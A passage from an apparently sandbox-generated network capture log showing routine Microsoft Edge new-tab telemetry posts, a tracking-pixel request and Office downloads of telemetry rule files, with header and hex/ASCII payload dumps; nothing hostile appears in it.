2024-11-12 07:30:38 UTC	4712	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 4c 6f 61 64 54 69 6d 65 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 31 32 54 30 37 3a 33 30 3a 33 36 2e 38 35 38 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 33 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 37 34 30 63 34 37 32 39 2d 66 63 35 38 2d 34 39 33 66 2d 39 34 31 31 2d 39 30 36 65 38 32 63 61 31 64 39 35 22 2c 22 65 70 6f 63 68 22 3a 22 31 32 32 31 33 38 38 34 35 36 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.LoadTime","time":"2024-11-12T07:30:36.858Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":3,"installId":"740c4729-fc58-493f-9411-906e82ca1d95","epoch":"1221388456"},"app":{"locale
2024-11-12 07:30:39 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=695af4c68c4c41afaaac6ea58e2e8fab&HASH=695a&LV=202411&V=4&LU=1731396639015; Domain=.microsoft.com; Expires=Wed, 12 Nov 2025 07:30:39 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=ff59d41ef93f4b2683e2e24dd46c32a5; Domain=.microsoft.com; Expires=Tue, 12 Nov 2024 08:00:39 GMT; Path=/;Secure; SameSite=None time-delta-millis: 2156 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Tue, 12 Nov 2024 07:30:38 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
127	192.168.2.5	57083	20.125.209.212	443	1632	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 07:30:39 UTC	1269	OUT	GET /c.gif?rnd=1731396634697&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=0788e73eb2a84d4195bd22852445c8ab&activityId=0788e73eb2a84d4195bd22852445c8ab&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=A63DE543850F4BB9BD7C9BA0E255D8AC&MUID=048A31DB7A676AF1398424EE7B306B35 HTTP/1.1 Host: c.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=048A31DB7A676AF1398424EE7B306B35; _EDGE_S=F=1&SID=29B5806A46A26A7E2D0A955F47E16B94; _EDGE_V=1; SM=T; msnup=
2024-11-12 07:30:39 UTC	983	IN	HTTP/1.1 200 OK Cache-Control: private, no-cache, proxy-revalidate, no-store Pragma: no-cache Content-Type: image/gif Last-Modified: Wed, 16 Oct 2024 06:33:28 GMT Accept-Ranges: bytes ETag: "b116c54f951fdb1:0" Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET P3P: CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" Set-Cookie: SM=C; domain=c.msn.com; path=/; SameSite=None; Secure; Set-Cookie: MUID=048A31DB7A676AF1398424EE7B306B35; domain=.msn.com; expires=Sun, 07-Dec-2025 07:30:39 GMT; path=/; SameSite=None; Secure; Priority=High; Set-Cookie: SRM_M=048A31DB7A676AF1398424EE7B306B35; domain=c.msn.com; expires=Sun, 07-Dec-2025 07:30:39 GMT; path=/; SameSite=None; Secure; Set-Cookie: MR=0; domain=c.msn.com; expires=Tue, 19-Nov-2024 07:30:39 GMT; path=/; SameSite=None; Secure; Set-Cookie: ANONCHK=0; domain=c.msn.com; expires=Tue, 12-Nov-2024 07:40:39 GMT; path=/; SameSite=None; Secure; Date: Tue, 12 Nov 2024 07:30:38 GMT Connection: close Content-Length: 42
2024-11-12 07:30:39 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 01 4c 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.5	57084	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 07:30:39 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 07:30:39 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 07:30:39 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: a14a0ed7-201e-0096-78aa-31ace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T073039Z-16547b76f7flf9g6hC1DFWmcx800000005vg000000008kp8 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 07:30:39 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.5	57085	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 07:30:39 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 07:30:39 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 07:30:39 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: 66308e6b-801e-002a-7da6-3431dc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T073039Z-17df447cdb5fh5hghC1DFWam0400000008sg000000002ys1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 07:30:39 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.5	57086	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 07:30:39 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 07:30:39 UTC	538	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 07:30:39 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: 081c3a8e-a01e-0053-58d2-2c8603000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T073039Z-16547b76f7fx6rhxhC1DFW76kg0000000f6g00000000fmp9 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 07:30:39 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.5	57087	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 07:30:39 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 07:30:39 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 07:30:39 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: ebffffee-b01e-005c-69a0-344c66000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T073039Z-17df447cdb5rnd49hC1DFWgmpw000000062g0000000006tp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 07:30:39 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
132	192.168.2.5	57088	13.107.246.45	443	1632	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 07:30:39 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 07:30:39 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 07:30:39 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: f6edb455-601e-0002-0aa1-34a786000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T073039Z-17df447cdb57srlrhC1DFWwgas0000000bz00000000087ux x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 07:30:39 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
133	192.168.2.5	57089	52.168.117.168	443	1632	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 07:30:39 UTC	1043	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1731396637674&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 5290 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=048A31DB7A676AF1398424EE7B306B35; _EDGE_S=F=1&SID=29B5806A46A26A7E2D0A955F47E16B94; _EDGE_V=1; msnup=; _C_ETH=1
2024-11-12 07:30:39 UTC	5290	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 4c 6f 61 64 54 69 6d 65 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 31 32 54 30 37 3a 33 30 3a 33 37 2e 36 37 33 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 34 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 37 34 30 63 34 37 32 39 2d 66 63 35 38 2d 34 39 33 66 2d 39 34 31 31 2d 39 30 36 65 38 32 63 61 31 64 39 35 22 2c 22 65 70 6f 63 68 22 3a 22 31 32 32 31 33 38 38 34 35 36 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.LoadTime","time":"2024-11-12T07:30:37.673Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":4,"installId":"740c4729-fc58-493f-9411-906e82ca1d95","epoch":"1221388456"},"app":{"locale
2024-11-12 07:30:39 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=1c7cab3b200c40e8a950c898218601ed&HASH=1c7c&LV=202411&V=4&LU=1731396639754; Domain=.microsoft.com; Expires=Wed, 12 Nov 2025 07:30:39 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=6eb938d286894854b0cbebddb2fbfa93; Domain=.microsoft.com; Expires=Tue, 12 Nov 2024 08:00:39 GMT; Path=/;Secure; SameSite=None time-delta-millis: 2080 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Tue, 12 Nov 2024 07:30:39 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
134	192.168.2.5	57091	52.168.117.168	443	1632	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 07:30:39 UTC	1044	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1731396637855&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 10110 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=048A31DB7A676AF1398424EE7B306B35; _EDGE_S=F=1&SID=29B5806A46A26A7E2D0A955F47E16B94; _EDGE_V=1; msnup=; _C_ETH=1
2024-11-12 07:30:39 UTC	10110	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 43 6f 6e 74 65 6e 74 56 69 65 77 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 31 32 54 30 37 3a 33 30 3a 33 37 2e 38 35 32 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 35 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 37 34 30 63 34 37 32 39 2d 66 63 35 38 2d 34 39 33 66 2d 39 34 31 31 2d 39 30 36 65 38 32 63 61 31 64 39 35 22 2c 22 65 70 6f 63 68 22 3a 22 31 32 32 31 33 38 38 34 35 36 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 Data Ascii: {"name":"MS.News.Web.ContentView","time":"2024-11-12T07:30:37.852Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":5,"installId":"740c4729-fc58-493f-9411-906e82ca1d95","epoch":"1221388456"},"app":{"loc
2024-11-12 07:30:40 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=9a324fb1d8d04496b812c28a46cb9f68&HASH=9a32&LV=202411&V=4&LU=1731396639965; Domain=.microsoft.com; Expires=Wed, 12 Nov 2025 07:30:39 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=859182274afa4def8239fbc0302d5f7e; Domain=.microsoft.com; Expires=Tue, 12 Nov 2024 08:00:39 GMT; Path=/;Secure; SameSite=None time-delta-millis: 2110 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Tue, 12 Nov 2024 07:30:39 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.5	57093	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 07:30:39 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 07:30:40 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 07:30:39 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: b51813c1-401e-002a-5f12-32c62e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T073039Z-16547b76f7f7jnp2hC1DFWfc300000000fcg000000005wa1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 07:30:40 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.5	57094	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
